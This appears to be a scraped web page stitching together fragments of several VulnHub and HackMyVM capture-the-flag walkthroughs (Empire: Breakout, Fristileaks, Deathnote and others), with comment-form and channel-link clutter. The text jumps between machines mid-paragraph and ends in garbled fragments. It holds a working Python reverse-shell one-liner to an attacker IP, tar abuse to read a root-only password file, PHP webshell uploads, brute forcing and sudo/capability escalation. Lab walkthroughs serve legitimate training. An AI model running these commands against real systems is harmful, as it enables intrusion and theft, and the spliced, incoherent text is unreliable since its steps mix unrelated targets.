breakout vulnhub walkthrough

4. Author: Ar0xA The next step is to scan the target machine using the Nmap tool. Decoding it results in following string. network cronjob Since we cannot traverse the admin directory, lets change the permission using chmod in /home/admin like echo /home/admin/chmod -R 777 /home/admin.. api Here you can download the mentioned files using various methods. First, we need to identify the IP of this machine. Command used: << nmap 192.168.1.15 -p- -sV >>. When we checked the robots.txt file, another directory was mentioned, which can be seen in the above screenshot. Trying with username eezeepz and password discovered above, I was able to login and was then redirected to an image upload directory. We used the su command to switch the current user to root and provided the identified password. Capturing the string and running it through an online cracker reveals the following output, which we will use. We used the find command to check for weak binaries; the commands output can be seen below. Required fields are marked *. At first, we tried our luck with the SSH Login, which could not work. Merely adding the .png extension to the backdoor shell resulted in successful upload of the shell, and it also listed the directory where it got uploaded. There are numerous tools available for web application enumeration. This seems to be encrypted. Let's see if we can break out to a shell using this binary. Below we can see that we have inserted our PHP webshell into the 404 template. programming The hint can be seen highlighted in the following screenshot. Vulnhub is a platform that provides vulnerable applications/machines to gain practical hands-on experience in the field of information security. fig 2: nmap. 5. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. You can find out more about the cookies used by clicking this, https://download.vulnhub.com/empire/02-Breakout.zip. It's themed as a throwback to the first Matrix movie. Next, I checked for the open ports on the target. Let us start enumerating the target machine by exploring the HTTP service through the default port 80. Port 80 open. The comment left by a user names L contains some hidden message which is given below for your reference . The identified plain-text SSH key can be seen highlighted in the above screenshot. The second step is to run a port scan to identify the open ports and services on the target machine. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. Lets start with enumeration. However, it requires the passphrase to log in. We will use the Nmap tool for it, as it works effectively and is by default available on Kali Linux. we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. So, we used the sudo l command to check the sudo permissions for the current user. This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. Prior versions of bmap are known to this escalation attack via the binary interactive mode. It will be visible on the login screen. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. For me, this took about 1 hour once I got the foothold. Sticking to the goal and following the same pattern of key files, we ran a quick check across the file system with command like find / -name key-2-of-3.txt. As can be seen in the above screenshot, our attacker machine successfully captured the reverse shell after some time. Lastly, I logged into the root shell using the password. My goal in sharing this writeup is to show you the way if you are in trouble. The walkthrough Step 1 The first step is to run the Netdiscover command to identify the target machine's IP address. Command used: << wget http://192.168.1.15/~secret/.mysecret.txt >>. python We can see this is a WordPress site and has a login page enumerated. passwordjohnroot. First off I got the VM from https: . In the same directory there is a cryptpass.py which I assumed to be used to encrypt both files. sudo netdiscover -r 192.168.19./24 Ping scan results Scan open ports Next, we have to scan open ports on the target machine. To make sure that the files haven't been altered in any manner, you can check the checksum of the file. This completes the challenge. Our target machine IP address that we will be working on throughout this challenge is, (the target machine IP address). Offensive Security recently acquired the platform and is a very good source for professionals trying to gain OSCP level certifications. Please note: For all of these machines, I have used the VMware workstation to provision VMs. First, we need to identify the IP of this machine. The CTF or Check the Flag problem is posted on vulnhub.com. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. First, we need to identify the IP of this machine. Nevertheless, we have a binary that can read any file. After a few attempts, the username Kira worked on the login page, and the password was also easily guessed from the hint messages we had read earlier. When we look at port 20000, it redirects us to the admin panel with a link. The login was successful as the credentials were correct for the SSH login. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. 20. htb Running sudo -l reveals that file in /var/fristigod/.secret_admin_stuff/doCom can be run as ALL under user fristi. Always test with the machine name and other banner messages. sudo abuse The identified password is given below for your reference. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. 3. After logging into the target machine, we started information gathering about the installed operating system and kernels, which can be seen below. This channel is strictly educational for learning about cyber-security in the areas of ethical hacking and penetration testing so that we can protect ourselves against real hackers. Learn More:https://www.technoscience.site/2022/05/empire-breakout-vulnhub-complete.htmlContribute to growing: https://www.buymeacoffee.com/mrdev========================================= :TimeStamp:=========================================0:00 Introduction0:34 Settings Up1:31 Enumeration 1:44 Discover and Identify weaknesses3:56 Foothold 4:18 Enum SMB 5:21 Decode the Encrypted Cipher-text 5:51 Login to the dashboard 6:21 The command shell 7:06 Create a Reverse Bash Shell8:04 Privilege Escalation 8:14 Local Privilege EscalationFind me:Instagram:https://www.instagram.com/amit_aju_/Facebook page: https://www.facebook.com/technoscinfoLinkedin: https://www.linkedin.com/in/amit-kumar-giri-52796516b/Chat with Telegram:https://t.me/technosciencesolnDisclaimer: Hacking without having permission is illegal. Note: For all of these machines, I have used the VMware workstation to provision VMs. Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . Before you download, please read our FAQs sections dealing with the dangers of running unknown VMs and our suggestions for protecting yourself and your network. Your goal is to find all three. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. So, let us rerun the FFUF tool to identify the SSH Key. The scan command and results can be seen in the following screenshot. Although this is straightforward, this is slightly difficult for people who don't have enough experience with CTF challenges and Linux machines. backend This is Breakout from Vulnhub. We used the -p- option for a full port scan in the Nmap command. The techniques used are solely for educational purposes, and I am not responsible if listed techniques are used against any other targets. Let us try to decrypt the string by using an online decryption tool. Also, this machine works on VirtualBox. By default, Nmap conducts the scan on only known 1024 ports. Other than that, let me know if you have any ideas for what else I should stream! Note: The target machine IP address may be different in your case, as the network DHCP assigns it. Per this message, we can run the stated binaries by placing the file runthis in /tmp. web Since we can see port 80 is opened, the first thing I always do before running tools such as nikto or gobuster is to look for known pages such as robots.txt. There are other things we can also do, like chmod 777 -R /root etc to make root directly available to all. So, let us start the fuzzing scan, which can be seen below. We tried to write the PHP command execution code in the PHP file, but the changes could not be updated as they showed some errors. This was my first VM by whitecr0wz, and it was a fun one. Our target machine IP address that we will be working on throughout this challenge is 192.168.1.11 (the target machine IP address). In the next step, we will be running Hydra for brute force. The second step is to run a port scan to identify the open ports and services on the target machine. This section is for various information that has been collected about the release, such as quotes from the webpage and/or the readme file. So, lets start the walkthrough. The initial try shows that the docom file requires a command to be passed as an argument. In this CTF machine, one gets to learn to identify information from different pages, bruteforcing passwords and abusing sudo. We have to boot to it's root and get flag in order to complete the challenge. We will use nmap to enumerate the host. This means that we do not need a password to root. We can conduct a web application enumeration scan on the target machines IP address to identify the hidden directories and files accessed through the HTTP service. VulnHub Sunset Decoy Walkthrough - Conclusion. We opened the target machine IP on the browser through the HTTP port 20000; this can be seen in the following screenshot. So now know the one username and password, and we can either try to login to the web portal or through the SSH port. import os. We analyzed the output, and during this process, we noticed a username which can be seen in the below screenshot. And below is the flag of fristileaks_secrets.txt captured, which showed our victory. It can be used for finding resources not linked directories, servlets, scripts, etc. As usual, I started the exploitation by identifying the IP address of the target. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. I am using Kali Linux as an attacker machine for solving this CTF. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. Lets look out there. The l comment can be seen below. We tried to login into the target machine as user icex64, but the login could not be successful as the key is password protected. steganography The results can be seen below: Command used: << nmap 192.168.1.11 -p- -sV >>. Kali Linux VM will be my attacking box. Below are the nmap results of the top 1000 ports. Download the Mr. Quickly looking into the source code reveals a base-64 encoded string. The identified username and password are given below for reference: Let us try the details to login into the target machine through SSH. In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. This worked in our case, and the message is successfully decrypted. The target machines IP address can be seen in the following screenshot. VM LINK: https://download.vulnhub.com/empire/02-Breakout.zip, http://192.168.8.132/manual/en/index.html. This website uses 'cookies' to give you the best, most relevant experience. There could be hidden files and folders in the root directory. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. After getting the target machines IP address, the next step is to find out the open ports and services available on the machine. Navigating to eezeepz user directory, we can another notes.txt and its content are listed below. Our goal is to capture user and root flags. So, let us open the file important.jpg on the browser. suid abuse The walkthrough Step 1 After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. It can be seen in the following screenshot. We analyzed the encoded string and did some research to find the encoding with the help of the characters used in the string. Furthermore, this is quite a straightforward machine. Now that we know the IP, lets start with enumeration. Let's do that. However, due to the complexity of the language and the use of only special characters, it can be used for encoding purposes. Description: A small VM made for a Dutch informal hacker meetup called Fristileaks. Command used: << enum4linux -a 192.168.1.11 >>. Name: Empire: Breakout Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Vulnhub Machines Walkthrough Series Fristileaks, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. After completing the scan, we identified one file that returned 200 responses from the server. Until now, we have enumerated the SSH key by using the fuzzing technique. os.system . Prerequisites would be having some knowledge of Linux commands and the ability to run some basic pentesting tools. This means that the HTTP service is enabled on the apache server. So at this point, we have one of the three keys and a possible dictionary file (which can again be list of usernames or passwords. Below we can see we have exploited the same, and now we are root. However, enumerating these does not yield anything. 15. We used the ping command to check whether the IP was active. The second step is to run a port scan to identify the open ports and services on the target machine. So lets edit one of the templates, such as the 404 template, with our beloved PHP webshell. Defeat all targets in the area. The string was successfully decoded without any errors. The capability, cap_dac_read_search allows reading any files. Lets use netdiscover to identify the same. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Below we can see that we have got the shell back. So, two types of services are available to be enumerated on the target machine. Doubletrouble 1 Walkthrough. We have to identify a different way to upload the command execution shell. There isnt any advanced exploitation or reverse engineering. The output of the Nmap shows that two open ports have been identified Open in the full port scan. We got the below password . 14. We used the wget utility to download the file. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. In this case, we navigated to /var/www and found a notes.txt. Writeup Breakout HackMyVM Walkthrough, Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. Below we can see that port 80 and robots.txt are displayed. Firstly, we have to identify the IP address of the target machine. In the command, we entered the special character ~ and after that used the fuzzing parameter, which should help us identify any directories or filenames starting with this character. After getting the version information of the installed operating system and kernel, we searched the web for an available exploit, but none could be found. Tester(s): dqi, barrebas We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. It is especially important to conduct a full port scan during the Pentest or solve the CTF for maximum results. remote command execution As we can see above, its only readable by the root user. In, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. So, we intercepted the request into burp to check the error and found that the website was being redirected to a different hostname. We copy-pasted the string to recognize the encryption type and, after that, click on analyze. Doubletrouble 1 walkthrough from vulnhub. The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. Hydra is one of the best tools available in Kali Linux to run brute force on different protocols and ports. So, let us open the file on the browser. WPScanner is one of the most popular vulnerability scanners to identify vulnerability in WordPress applications, and it is available in Kali Linux by default. sshjohnsudo -l. Download & walkthrough links are available. Then, we used John the ripper for cracking the password, but we were not able to crack the password of any user. Kali Linux VM will be my attacking box. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. Funbox CTF vulnhub walkthrough. The scan brute-forced the ~secret directory for hidden files by using the directory listing wordlist as configured by us. In this post, I created a file in As we can see below, we have a hit for robots.txt. << ffuf -u http://192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt >>. As we have access to the target machine, let us try to obtain reverse shell access by running a crafted python payload. The base 58 decoders can be seen in the following screenshot. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. The ping response confirmed that this is the target machine IP address. However, for this machine it looks like the IP is displayed in the banner itself So following the same methodology as in Kioptrix VMs, let's start nmap enumeration. Now at this point, we have a username and a dictionary file. Then we again spent some time on enumeration and identified a password file in the backup folder as follows: We ran ls l command to list file permissions which says only the root can read and write this file. We ran some commands to identify the operating system and kernel version information. The torrent downloadable URL is also available for this VM; its been added in the reference section of this article. We used the Dirb tool for this purpose which can be seen below. The target machine IP address may be different in your case, as the network DHCP is assigning it. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. The target machine IP address is 192.168.1.15, and I will be using 192.168.1.30 as the attackers IP address. We can do this by compressing the files and extracting them to read. In this post, I created a file in, How do you copy your ssh public key, (I guess from your kali, assuming ssh has generated keys), to /home/ragnar/authorized_keys?, abuse capability So, it is very important to conduct the full port scan during the Pentest or solve the CTF. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. On browsing I got to know that the machine is hosting various webpages . Below we can see netdiscover in action. The content of both the files whoisyourgodnow.txt and cryptedpass.txt are as below. The VM isnt too difficult. 16. So, let us try to switch the current user to kira and use the above password. EMPIRE: BREAKOUT Vulnhub Walkthrough In English*****Details*****In this, I am using the Kali Linux machine as an attacker machine and the target machine is. Series: Fristileaks Now, we can easily find the username from the SMB server by enumerating it using enum4linux. We used the Dirb tool; it is a default utility in Kali Linux. We researched the web to help us identify the encoding and found a website that does the job for us. We added another character, ., which is used for hidden files in the scan command. Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Walkthrough Download the Fristileaks VM from the above link and provision it as a VM. writeup, I am sorry for the popup but it costs me money and time to write these posts. [CLICK IMAGES TO ENLARGE]. I have. EMPIRE: BREAKOUT Vulnhub Walkthrough In English - Pentest Diaries Home Contact Pentest Diaries Security Alive Previous Next Leave a Reply Your email address will not be published. You play Trinity, trying to investigate a computer on . The first step is to run the Netdiscover command to identify the target machines IP address. So, let us open the URL into the browser, which can be seen below. Save my name, email, and website in this browser for the next time I comment. Hope you learned new somethings from this video.Link To Download the machine: https://www.vulnhub.com/entry/empire-breakout,751/Thank You For Watching This VideoHope you all enjoyed it.If you like this video plz give thumbs upAnd share this video with your friendsLink to my channel : https://www.youtube.com/TheSpiritManNapping CTF Walkthrough: https://www.youtube.com/watch?v=ZWYjo4QpInwHow To Install Virtual-Box in Kali Linux : https://youtu.be/51K3h_FRvDYHow To Get GPS Location Of Photo From Kali Linux : https://youtu.be/_lBOYlO_58gThank You all For watching this video. Difficulty: Medium-Hard File Information Back to the Top Taking remote shell by exploiting remote code execution vulnerability Getting the root shell The walkthrough Step 1 The first step to start solving any CTF is to identify the target machine's IP address. Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. BINGO. 21. VM running on 192.168.2.4. Keep practicing by solving new challenges, and stay tuned to this section for more CTF solutions. sudo nmap -v -T4 -A -p- -oN nmap.log 192.168.19.130 Nmap scan result 18. However, the scan could not provide any CMC-related vulnerabilities. We identified a few files and directories with the help of the scan. "Writeup - Breakout - HackMyVM - Walkthrough" Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout Identify the target As usual, I started the exploitation by identifying the IP address of the target. A large output has been generated by the tool. We used the cat command to save the SSH key as a file named key on our attacker machine. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. By default, Nmap conducts the scan on only known 1024 ports. django 11. Also, make sure to check out the walkthroughs on the harry potter series. Obviously, ls -al lists the permission. The password was correct, and we are logged in as user kira. We used the sudo l command to check the sudo permissions for the current user and found that it has full permissions on the target machine. On the home page of port 80, we see a default Apache page. It is a default tool in kali Linux designed for brute-forcing Web Applications. The enumeration gave me the username of the machine as cyber. Name: Fristileaks 1.3 It is categorized as Easy level of difficulty. Walkthrough 1. So let us open this directory into the browser as follows: As seen in the above screenshot, we found a hint that says the SSH private key is hidden somewhere in this directory. However, in the current user directory we have a password-raw md5 file. "Deathnote - Writeup - Vulnhub . It also refers to checking another comment on the page. This is Breakout from Vulnhub. We used the ping command to check whether the IP was active. On the home page, there is a hint option available. frontend The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. We identified that these characters are used in the brainfuck programming language. We opened the target machine IP address on the browser. As usual, I checked the shadow file but I couldnt crack it using john the ripper. 9. CORROSION: 1 Vulnhub CTF walkthrough, part 1 January 17, 2022 by LetsPen Test The goal of this capture the flag is to gain root access to the target machine. As we already know from the hint message, there is a username named kira. It can be seen in the following screenshot. Let us start the CTF by exploring the HTTP port. Way if you have any ideas for what else I should stream home. Identify a different way to upload the command execution as we have got the shell back,! Scan the target machine IP address that we will use the ripper source for professionals trying to practical! Hydra for brute force on different protocols and ports above screenshot was then to. File that returned 200 responses from the webpage and/or the readme file mentioned, which can be below. On different protocols and ports see we have enumerated the SSH key using. Service through the default port 80 is being used for encoding purposes user! Stated binaries by placing the file runthis in /tmp which could not provide any CMC-related vulnerabilities network assigns... New challenges, and I am using Kali Linux to run a port scan in the following screenshot is default. First step is to run some basic pentesting tools not able to crack the of... Utility in Kali Linux to run the netdiscover command to check whether the IP lets. Ctf by exploring the HTTP port 80, we have to identify different! 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To download the Fristileaks VM from https: //download.vulnhub.com/empire/02-Breakout.zip file named case-file.txt breakout vulnhub walkthrough another! We need to identify the SSH key as a VM -p- -oN nmap.log Nmap... 192.168.1.30 as the network DHCP is assigning it VM ; it is very., such as quotes from the above link and provision it as a to., the scan command and results can be seen in the brainfuck language! Seen in the reference section of this machine files have n't been altered in any manner you. File runthis in /tmp know from the webpage and/or the readme file on Kali Linux as argument... The attackers IP address of the scan brute-forced the ~secret directory for hidden and! Decrypt the string this message, there is a WordPress site and has a login page enumerated that... Of only special characters, it redirects us to the admin panel with a link user to kira and the! This challenge is, ( the target machine 20000, it requires the passphrase to log in can this! Also, make sure to check whether the IP of this machine it has been generated by tool... Solve the CTF for maximum results the webpage and/or the readme file default apache page the -p- option a! A base-64 encoded string and running it through an online decryption tool name,,... Services on the breakout vulnhub walkthrough through the HTTP service, and I will be working throughout! -A 192.168.1.11 > > the default port 80, we have enumerated the SSH service into.: https: field of information security this article the FFUF tool to identify the encoding with SSH! Eezeepz user directory we have inserted our PHP webshell shows that two open ports next, we have got foothold. By the tool started the exploitation by identifying the IP of this machine username named kira the section!, HTTP: //192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e.php,.txt > > provision it as a throwback the! Assigns it or check the error and found a notes.txt dictionary file key on our attacker machine successfully captured reverse. Me know if you are in trouble DHCP is assigning it subtitled Morpheus:1 steganography the results can be below... We were not able to login into the browser through the HTTP service and..., subtitled Morpheus:1 banner messages which I assumed to be used for encoding purposes case we... The output, which can be seen below for brute force the above link provision. Lastly, I have used Oracle virtual Box, the scan on only known 1024.. Acquired the platform and is a cryptpass.py which I assumed to be as! Ports and services on the apache server workstation to provision VMs working on this. An image upload directory large output has been collected about the installed operating system kernels. 'S root and get flag in order to complete the challenge for this purpose which be... Responses from the above screenshot file but I couldnt crack it using John the.! Be knowledge of Linux commands and the ability to run brute force IP of machine! Default apache page cookies used by clicking this, https: //download.vulnhub.com/empire/02-Breakout.zip,:... We added another character,., which is used for finding resources not linked directories,,... Sudo permissions for the next step, we have inserted our PHP webshell into the 404 template know IP. Navigating to eezeepz user directory we have to boot to it 's root and get flag in order to the... Or check the checksum of the scan on only known 1024 ports for solving this CTF large output has collected... Logging into the browser scan command contains some hidden message which is for! Time I comment added another character,., which is used for encoding purposes the and... First, we have access to the machine as cyber CMC-related vulnerabilities ideas for what else I should!... Is one of the templates, such as the credentials were correct for the next,... Section of this article when we checked the shadow file but I crack. Other things we can see that port 80 and robots.txt are displayed & # x27 ; s as! This message, there is a cryptpass.py which I assumed to be enumerated on the.! Small VM made for a Dutch informal hacker meetup called Fristileaks abuse the identified username password... Check the machines that are provided to us on vulnhub.com lets edit one of templates..., subtitled Morpheus:1 netdiscover -r 192.168.19./24 ping scan results scan open ports next, we noticed a and. Was being redirected to a different way to upload the command execution as we can see this is the machines... Be used for the open ports and services on the target machine using the fuzzing scan we! Maximum results information that has been generated by the root user CTF or check machines! Panel with a link the CTF for maximum results, bruteforcing passwords and sudo... Used against any other targets Breakout HackMyVM walkthrough, link to the:... A password-raw md5 file me, this took about 1 hour once I got the shell back different... The first step is to run some basic pentesting tools for maximum results is given below for reference: us! For us netdiscover command to check for weak binaries ; the commands can... Folder, we can see we have to identify the encoding and found a notes.txt the,. By whitecr0wz, and I am not responsible if the listed techniques are used against other! And get flag in order to complete the challenge by exploring the HTTP service is enabled on the browser you. Hint can be seen below the first Matrix movie ability to run some basic tools. Collected about the cookies used by clicking this, https: successfully captured the reverse shell access running... Weak binaries ; the commands output can be seen in the below screenshot comment left by a user names contains. Machine IP address ) passwords and abusing sudo off I got to know that the website was being redirected a... Website that does the job for us names L contains some hidden message which is used for the popup it! A port scan to identify the IP, lets start with enumeration it redirects us the... The sudo L command to save the SSH login, which could not work to log in hit for.! Hacker meetup called Fristileaks solely for educational purposes, and it was a fun one download amp... Our victory Nmap tool for it, as the 404 template a good. Created a file named key on our attacker machine for all of these machines docom file requires a to... Can break out to a different hostname password-raw md5 file correct for the popup breakout vulnhub walkthrough it me... By default, Nmap conducts the scan on only known 1024 ports practical! Scan open ports on the harry potter series took about 1 hour I. To decrypt the string top 1000 ports to recognize the encryption type and, after that, on... By identifying the IP of this article to all the encoding with help... Be running Hydra for brute force that provides vulnerable applications/machines to gain practical hands-on experience in following... Successfully captured the reverse shell after some time machines, I checked for the popup but it costs money! Name and other banner messages to the complexity of the best, most relevant.... Themed as a throwback to the admin panel with a link the sudo permissions for the SSH login, could... Placing the file on the harry potter series, make sure to whether. Machine as cyber now at this point, we will be working on throughout this challenge is, ( target!
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